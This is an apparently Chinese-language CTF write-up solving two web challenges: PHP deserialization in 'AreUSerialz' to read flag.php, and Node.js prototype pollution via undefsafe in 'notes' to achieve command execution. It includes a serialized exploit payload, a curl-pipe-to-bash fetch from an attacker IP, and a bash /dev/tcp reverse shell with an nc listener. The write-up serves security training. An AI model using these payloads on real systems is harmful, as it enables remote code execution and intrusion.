AreUSerialz
<?php include("flag.php"); highlight_file(__FILE__); class FileHandler { protected $op; protected $filename; protected $content; function __construct() { $op = "1"; $filename = "/tmp/tmpfile"; $content = "Hello World!"; $this->process(); } public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } } private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } } private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; } private function output($s) { echo "[Result]: <br>"; echo $s; } function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); } } function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; } $str = "O:11:\"FileHandler\":3:{s:2:\"op\";i:2;s:8:\"filename\";s:6:\"xx.php\";s:7:\"content\";s:0:\"\";}"; if(is_valid($str)) { $obj = unserialize($str); }
这题经验性的技巧比较强吧。首先POC链很好分析:
- __destruct()
- process()
- read()(获取flag.php->return $res)
- output($res);
首先绕过对$op的检查,注意到他使用的是强等于号,于是传入数字1
其次$op,$filename都是protected类型,在反序列化的过程中会产生\0 ,但是会被is_valid()函数给砍掉。
有大佬说可以改成空格,但是我在比赛的时候试了一下似乎不行。我在比赛的时候直接在构造的时候把他改成public就行了,这是因为PHP7对类型不敏感的缘故。
最终的POC
<?php class FileHandler { public $op= 2; //改成数字类型的2 public $filename="flag.php"; public $content=""; } $ax = new FileHandler(); echo(serialize($ax)); ?>
拿到
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:0:"";}
这个在buuoj上能直接过了,但是在比赛的时候会遇上一个更恶心的事情:目录穿越,直接获取flag.php无效,file_get_contents()被穿越到了根目录
于是我们依次访问:
/proc/self/cmdline 找到httpd配置文件
/web/config/httpd.conf 找到web根目录为/web/html。
然后再访问/web/html/flag.php拿flag
notes
var express = require('express'); var path = require('path'); const undefsafe = require('undefsafe'); const { exec } = require('child_process'); var app = express(); class Notes { constructor() { this.owner = "whoknows"; this.num = 0; this.note_list = {}; } write_note(author, raw_note) { this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note}; } get_note(id) { var r = {} undefsafe(r, id, undefsafe(this.note_list, id)); return r; } edit_note(id, author, raw) { undefsafe(this.note_list, id + '.author', author); undefsafe(this.note_list, id + '.raw_note', raw); } get_all_notes() { return this.note_list; } remove_note(id) { delete this.note_list[id]; } } var notes = new Notes(); notes.write_note("nobody", "this is nobody's first note"); app.set('views', path.join(__dirname, 'views')); app.set('view engine', 'pug'); app.use(express.json()); app.use(express.urlencoded({ extended: false })); app.use(express.static(path.join(__dirname, 'public'))); app.get('/', function(req, res, next) { res.render('index', { title: 'Notebook' }); }); app.route('/add_note') .get(function(req, res) { res.render('mess', {message: 'please use POST to add a note'}); }) .post(function(req, res) { let author = req.body.author; let raw = req.body.raw; if (author && raw) { notes.write_note(author, raw); res.render('mess', {message: "add note sucess"}); } else { res.render('mess', {message: "did not add note"}); } }) app.route('/edit_note') .get(function(req, res) { res.render('mess', {message: "please use POST to edit a note"}); }) .post(function(req, res) { let id = req.body.id; let author = req.body.author; let enote = req.body.raw; if (id && author && enote) { notes.edit_note(id, author, enote); res.render('mess', {message: "edit note sucess"}); } else { res.render('mess', {message: "edit note failed"}); } }) app.route('/delete_note') .get(function(req, res) { res.render('mess', {message: "please use POST to delete a note"}); }) .post(function(req, res) { let id = req.body.id; if (id) { notes.remove_note(id); res.render('mess', {message: "delete done"}); } else { res.render('mess', {message: "delete failed"}); } }) app.route('/notes') .get(function(req, res) { let q = req.query.q; let a_note; if (typeof(q) === "undefined") { a_note = notes.get_all_notes(); } else { a_note = notes.get_note(q); } res.render('note', {list: a_note}); }) app.route('/status') .get(function(req, res) { let commands = { "script-1": "uptime", "script-2": "free -m" }; for (let index in commands) { exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => { if (err) { return; } console.log(`stdout: ${stdout}`); }); } res.send('OK'); res.end(); }) app.use(function(req, res, next) { res.status(404).send('Sorry cant find that!'); }); app.use(function(err, req, res, next) { console.error(err.stack); res.status(500).send('Something broke!'); }); const port = 8080; app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))
/edit_note 后访问
edit_note(id, author, raw) { undefsafe(this.note_list, id + '.author', author); undefsafe(this.note_list, id + '.raw_note', raw); }
里面的undefsafe可以进行污染(https://snyk.io/vuln/SNYK-JS-UNDEFSAFE-548940),导致后面/status执行系统命令的字典被篡改。
我们传入id='__proto__',author='系统命令',会直接导致command字典变成
commands = { "script-1": "uptime", "script-2": "free -m" (__proto__)"id.author":"命令" ....... };
在遍历命令的时候就会导致命令被执行。
由于这里没有回显,需要反弹shell
一种方法可以是写个shell.txt,在curl他给bash
id=__proto__&author=curl http://IP/shell.txt|bash&raw=hello
shell.txt:
bash -i >& /dev/tcp/IP/2333 0>&1
关于命令的解释:https://www.freebuf.com/articles/system/178150.html
或者直接
id=__proto__&author=bash -i >& /dev/tcp/IP/2333 0>&1&raw=hello
由于&在URI中会被转义,所以需要对author的内容进行URL编码。
之后就在控制机上nc -lvp 2333 然后访问/status等shell弹过来就行了。
Comments | NOTHING